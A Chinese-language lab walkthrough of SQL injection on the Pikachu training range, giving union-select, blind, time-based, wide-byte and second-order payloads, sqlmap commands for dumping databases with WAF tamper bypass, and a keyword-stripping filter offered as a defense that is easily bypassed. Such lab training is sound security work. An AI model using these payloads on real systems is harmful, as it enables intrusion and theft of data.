1. Pikachu靶场SQL注入实战指南
作为网络安全领域的经典训练平台,Pikachu靶场以其丰富的漏洞场景和贴近实战的环境设计,成为安全从业者必备的练手工具。今天我将重点拆解其中最具代表性的SQL注入模块,通过手工测试与自动化工具结合的实战路径,带大家系统掌握注入漏洞的挖掘技巧。
2. 环境准备与基础配置
2.1 靶场部署要点
从官网下载最新版Pikachu靶场后,推荐使用PHP 5.4+MySQL 5.7环境部署。遇到过Apache服务启动后页面显示不安全警告的情况,通常是443端口冲突导致。解决方法包括:
- 修改httpd-ssl.conf中的Listen端口
- 关闭其他占用443端口的服务(如VMware)
- 添加SSL证书或直接使用http访问
注意:测试环境建议关闭防火墙和SELinux,避免因权限问题影响实验效果。生产环境请务必保持安全策略开启。
2.2 注入模块入口定位
启动服务后访问/vul/sqli目录,这里集中了12种不同类型的SQL注入场景:
- 数字型注入(sqli_num.php)
- 字符型注入(sqli_str.php)
- 搜索型注入(sqli_search.php)
- XX型注入(sqli_xx.php)
- 盲注场景(sqli_blind.php)
3. 手工注入全流程解析
3.1 注入点类型判断
在数字型注入页面提交?id=1'时出现数据库报错,而?id=1 and 1=1正常返回,确认存在数字型注入。字符型注入则需要闭合单引号:
admin' and '1'='1 admin' and '1'='2通过返回结果差异判断注入有效性。
3.2 联合查询实战
获取数据库信息的经典payload:
1' union select 1,database(),user()--+关键步骤解析:
- 通过order by确定字段数
- 找到回显位(通常为2、3字段)
- 替换关键函数获取信息:
- version():数据库版本
- @@datadir:数据存储路径
- group_concat():合并多行结果
3.3 盲注技术要点
当页面无显错时,采用布尔盲注技术:
admin' and ascii(substr(database(),1,1))>100--+通过响应时间差异判断的时间盲注:
admin' and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+4. SQLMap自动化利用
4.1 基础检测命令
sqlmap -u "http://target/vul/sqli/sqli_str.php?name=admin&submit=查询" --batch4.2 高阶参数技巧
获取所有数据库:
sqlmap --dbs --level=3 --risk=3指定数据库dump表数据:
sqlmap -D pikachu --tables --dump实战经验:遇到WAF时添加--tamper=space2comment绕过,复杂场景建议配合--proxy参数进行流量分析。
5. 防御方案深度剖析
5.1 编码层防护
- PHP中使用PDO预处理:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);- 过滤关键字符:
function sql_filter($value) { $filter = ['select','union','sleep','benchmark']; return str_ireplace($filter, '', $value); }5.2 架构层防护
- 最小权限原则:数据库账户仅授予必要权限
- 错误信息处理:关闭生产环境错误回显
- WAF规则配置:针对union select等特征进行拦截
6. 靶场通关全记录
6.1 数字型注入通关
- 判断注入点:?id=1 and 1=1
- 爆字段数:?id=1 order by 2
- 获取当前用户:?id=-1 union select 1,user()
6.2 宽字节注入突破
利用GBK编码特性绕过转义:
id=1%df' and 1=1--+关键是要在addslashes()转义前形成有效字符。
6.3 二次注入实战
- 注册用户名为admin'--
- 修改密码时触发注入:
UPDATE users SET password='123' WHERE username='admin'-- '7. 疑难问题排查指南
7.1 常见错误处理
- 联合查询字段数不符:调整order by测试
- 无回显信息:尝试基于时间的盲注
- SQLMap检测失败:添加--random-agent参数
7.2 性能优化建议
- 手工注入时使用limit分段获取数据
- 盲注场景优先使用二分法判断
- 自动化工具设置--threads控制并发
8. 技术延伸与拓展
8.1 其他漏洞关联测试
完成SQL注入后可继续测试:
- XSS漏洞:提交
- CSRF漏洞:伪造修改密码请求
- 文件上传:尝试上传webshell
8.2 真实场景加固方案
企业级防护需要:
- 定期SQL注入扫描(使用AWVS等工具)
- 数据库审计日志分析
- 参数化查询代码审查
通过Pikachu靶场的系统化训练,建议进一步挑战DVWA、WebGoat等进阶平台。在实际渗透测试中,SQL注入仍然是发现率最高的漏洞类型,掌握其原理和利用技术对安全从业人员至关重要。